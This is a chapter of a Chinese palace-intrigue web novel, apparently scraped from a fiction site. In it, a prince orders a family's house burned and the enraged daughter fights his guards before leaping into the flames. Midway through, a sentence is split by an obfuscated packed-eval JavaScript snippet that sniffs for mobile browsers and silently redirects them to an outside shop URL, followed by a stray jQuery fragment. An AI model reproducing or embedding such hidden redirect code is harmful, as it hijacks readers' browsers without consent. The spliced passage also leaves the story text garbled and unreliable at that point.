文趣网 > 其他小说 > 铁袖红袂(权谋) > 3. 轿中人
    就在此刻,一晚上没有响动的轿子终于有了反应。

    墨玉色帐幕如浓墨铺开,金丝闪动似浮光跃金,一只骨节分明的手伸出帘幕,修长的手指将轿帘轻轻掀开。

    轿外已是华贵无比,轿内更蕴藏无限风华。男子身上披风是比夜色更浓重的紫,内里却穿着毫光璀璨的雪白貂裘,而他的眼睛竟比那紫更浓醇,比那白更璀璨,冷眼一扫,便流动出天地灵韵无限。

    而后,他慵懒开口。

    “烧了。”

    他开口,语气风轻云淡,却惊得众人呆了呆。

    李康看着那半掩在轿帘下的雍容脸孔,传闻肃王性情阴鸷狂诞果然不假,刚来疆宁府便敢火烧辽国公府,真当他手下北疆军是吃素的?他随身的几位手下在人群中早已蠢蠢欲动,可……

    他转头看了看拜伏在肃王轿下的李德容,重重叹了一口气。

    他在叹气,李德容却是松了一口气,听殿下的意思,一定是信他的。虽不知她用什么法子藏起了书,总归逃不出这个小院,与其费劲去找,还不如轻轻松松付之一炬,不管书在哪个犄角旮旯里,都是要化成灰的。

    唯一可惜的是,肃王不追究李双凌的罪。不过这也不算什么,殿下办事讲究证据,可李家走后关起门来的私事不需要讲究证据,李双凌给家里捅了这么大篓子,依父亲的性格,轻则毒打一顿,重则赶出家门。

    “殿下英明。”黎云深毕恭毕敬对肃王一拜,而后瞥了瞥黑衣人手上的火把,“你们几个还不快去?”

    一声厉喝。

    “我看谁敢!”

    人群又是一震——

    这声厉喝,不是出自李康,而是出自李双凌!

    溶溶碎雪中,她站得笔直,单薄的身体却似燃烧出火焰一般,愤怒中自带威势。

    肃王黎朔这才正眼望了她一眼,随即正在放下轿帘的手一顿。

    这脸……

    黎云深敏锐发现主子的停顿,连忙问道:“殿下,您看……”

    轿帘唰地放下,帘内人声音慵懒,“一并杀了。”

    话音未落,便已有剑声铿然,雪地中黑衣人飞扑到李双凌身前,一柄剑寒芒刺眼,直指她心口!

    辽国府的侍卫都一怔,说好的没有武器呢!?

    众人应该救下李双凌,却又不知该不该和肃王府刀剑相对,没得到李康的命令之前,谁也不知该不该上前。

    忽然当啷一声,长剑落地,而那黑衣人的身体,竟逐渐离地而起,四肢毫无章法地挣扎着。

    众人倒吸一口凉气——

    他的脖颈扼在李双凌手中,被她举了起来!

    肃王府的人都是优中选优,先不说武功如何,光体格肌肉放在那里就不是一般人能奈何得了的,如今只一交手的工夫,竟然被这平平无奇的少女轻而易举缴械,扼住咽喉,单手举起!

    她越举越高,正要狠狠掼在地上,忽听一声“住手”,而后陡然被暗器击中穴道,整条胳膊顿时筋骨扭转,酸痛异常,手上力道不禁一松,黑衣人直直落在地上,捂着咽喉猛咳。

    她瞠目欲裂,转过头来,看见的却是父亲李康。

    李双凌突然退后一步。

    燃着怒火的猩红双眼,瞬间冷如寒冰。

    那是她的父亲。

    李德容却怔了怔,他与李双凌争吵时,父亲往往站在李双凌那一边,没想到这次竟然会对李双凌出手,看来,他还真是举报对了,李双凌这次做得太过分,连父亲都容不下她。

    这也真是她的报应,从小到大,不管是丫鬟姐姐还是父亲的亲兵都喜欢她,说她继承了父亲的力气,比自己强十倍……

    她不就是力气大一点么!再怎么说也是女孩,明明应该是他天生就比她强十倍,凭什么反过来!

    李德容偷瞄了那轿子一眼,都说肃王杀伐果断,人送外号“鬼面阎罗”……

    不知道李双凌落在他手上,会是什么样的下场?

    他难掩得意,高声道:“你就认命吧!若是把那些书交给肃王殿下,你还有……”

    “砰!”

    话音未落,眼前就是一黑,随即飞出许多倏忽明灭的星星来。

    李双凌的穴道被封住,愤怒之中,只觉得体内一股灼热真气无处释放,在五脏六腑中横冲直撞,撞得筋骨生疼。

    她正无处发泄,偏偏李德容送上门来,她一拳下去,李德容的脸上已经五彩纷呈。

    李康面色一变——他这一镖砸的是李双凌的麻筋,那疼痛常人难以忍耐,谁成想却更激起了她的力量。

    这血脉……终究是不同寻常。

    老练如他,刹那间手一扬,一把雪浇了李双凌满肩满头,雪光间一双雄浑大掌已然死死钳住她手腕,李康花白虬须耸动,低声道:“冷静点!别动肃王的人……”

    李双凌哪里听得进去他的话,挣扎间沙哑嘶吼:“就算是你也不能拦我!那是我奶娘的东西……”

    话还未落,李双凌已然冲出去,手中不知何时多了一把斧头,照着正要点火的黑衣人便是一劈,那人持剑格挡,二人短兵相接,乒乒乓乓打了起来。

    可砍柴的斧头哪里斗得过过王府削铁如泥的宝剑,左劈右砍间斧头已经面目全非,那人见她下风,长剑一挑便刺向她的咽喉!

    李康面色骇然大变,暴喝:“别——”

    下一秒,鲜血喷射而出。

    从黑衣人的咽喉。

    肃王府的精良暗卫,轰然倒下,脖子上还插着半片被他的宝剑削得残破不齐的斧刃。

    瞬间人群哗然。

    李双凌上前,将他颈上半片斧刃取出,并不擦脸上血迹,森然一笑。

    稚气未脱的容颜笑得天真,却任谁都能看出她的愤怒,那鲜血喷溅在天真又愤怒的脸上,从她天生泛红的眼角缓缓下坠,拖成一道鲜红泪痕,在夜色中凄凉犹如鬼魅。

    她的笑是对着李德容的。

    她原以为这个家是坚固的堡垒,会保护她的一切,也以为家是坚硬的后盾,能承托她的一切。

    她原以为那些争吵只是兄妹间的小打小闹,他们终归是一家人。

    她的笑带着嘲弄,是嘲弄自己,哪来的那么多原以为?

    只有奶娘说

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17918660|213402||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的才是对的。

    恩要报,仇也要报。

    随即她手腕一抖,茫茫碎雪中寒光一闪。

    “德容小心!”

    李康飞扑过去,将李德容护在身下,扑了几米远。

    李德容方才所在的位置,斧刃寒芒初露。

    黎云深叩了叩轿子,忧心忡忡地看向轿中正饶有兴趣看着这一幕的黎琰,“殿下,这辽国府麻烦很大啊。”

    “废物。”黎琰冷冷道,“这点小事都做不好,本王要你何用。”

    黎云深的笑如今看起来有点凄苦,这女的狠起来连亲爹都不放在眼里,亲哥哥也照打不误,他有什么办法?

    无奈拍拍手,喝令:“上!”

    人群这才如梦初醒,抄起家伙一拥而上。

    “哦对了,别杀她,要活的。”黎琰补充。

    这下黎云深笑得更凄苦了。

    “要活的要活的要活的——”

    人群又把兵器收入鞘中,敢情今天的考试项目是近身肉搏。

    于是他们把李双凌包围了个水泄不通,不断有人被扔飞出去,又不断有飞出去的人跑回来。

    俗话说双拳难敌四手,更何况四百手!

    就在缠斗之际,忽然嘭的一声,火光冲天。

    李双凌怔愣在原地,随即一声痛呼,“不!——”

    人群拦路,她推,她挡,她夺剑,她挥拳。

    可旋即有更多的人涌出,拦她,挡她,阻止她,抓住她。

    她蓦然倒下,被如山重物压倒,动弹不得。

    长槐第一武将魁梧异于常人,仍是用尽全身力气才压住了愤怒至极的女儿,他布满血丝的双眼倒映着熊熊火光,却有一滴被映成橙红的液体顺着眼角皱纹流下,流过脸颊,溶到胡子里。

    李双凌的呼喊撕心裂肺,呼喊声中,跳跃的火舌如同一双双翻云覆雨拨弄命运的手,将她的美好回忆吞没。

    吞没咿呀学语的中原孩童,吞没目光慈爱的异邦妇女。

    黎云深远远立在一边,擦拭着手上残留的火油:“辽国公大人是明智的……这下还了您清白,您也可以安心了。”

    有人走来,人群知趣地向两边让开,齐齐低头,半是尊敬半是畏惧。李康也松开手,恭敬地施礼。

    璀璨毫光半掩下,黎琰薄唇轻启笑意森然,“你力气很大,武功也很好,可惜没有用。”

    ——身体因愤怒而不住战栗。

    “我是长兴州的王,是长兴州万民的主宰,我杀你,易如反掌,就像踩死一只蚂蚁。”

    ——胸腔痛得几欲炸裂。

    “但我选择不杀你。”黎琰笑笑,“知道为什么吗?”

    ——偏过头,目光掠过众人,决绝中带着苍凉。

    “因为我是长兴州的王,我想做什么,不需要理由。”

    ——那会让你失望了。她大笑。

    人群中,有吓到呆滞的李德容,垂首沉默的李康,笑容虚伪的黎云深,和眼前正欲决定她生死的黎琰。

    她对自己说,我会记住。

    而后,决然扑进那团火光。